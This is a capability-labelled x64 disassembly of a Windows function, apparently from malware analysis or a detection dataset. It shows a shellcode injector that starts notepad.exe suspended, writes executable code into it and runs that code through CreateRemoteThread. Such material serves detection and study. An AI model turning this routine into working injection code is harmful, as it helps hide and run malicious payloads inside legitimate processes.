Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov edx, 0x1e
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx + 0x22]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001055
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_allocate_memory__n
call fcn.140001250
lea eax, [rbx + 1]
jmp 0x140001228
movups xmm0, xmmword [0x140005038]
mov qword [rsp + 0x100], rsi
lea rdx, str.C:WindowsSystem32_notepad.exe
xor esi, esi
xor r9d, r9d
movups xmmword [rax], xmm0
xor r8d, r8d
xor ecx, ecx
movsd xmm1, qword [0x140005048]
xorps xmm0, xmm0
movsd qword [rax + 0x10], xmm1
mov eax, dword [0x140005050]
mov dword [rbx + 0x18], eax
movzx eax, word [0x140005054]
mov word [rbx + 0x1c], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140001120
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_process__n
call fcn.140001250
lea eax, [rsi + 1]
jmp 0x140001220
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x3000
mov qword [rsp + 0x108], rdi
mov dword [rsp + 0x20], 0x40
lea r8d, [rdx + 0x1e]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001158
lea rdx, str.Failed_to_allocate_memory_in_remote_process__n
jmp 0x1400011b1
mov rcx, qword [rsp + 0x50]
mov r9d, 0x1e
mov r8, rbx
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001181
lea rdx, str.Failed_to_write_shellcode_to_remote_process__n
jmp 0x1400011b1
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x1400011c4
lea rdx, str.Failed_to_create_remote_thread__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001250
mov eax, 1
jmp 0x140001218
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400014a0
add rsp, 0xf0
pop rbx
ret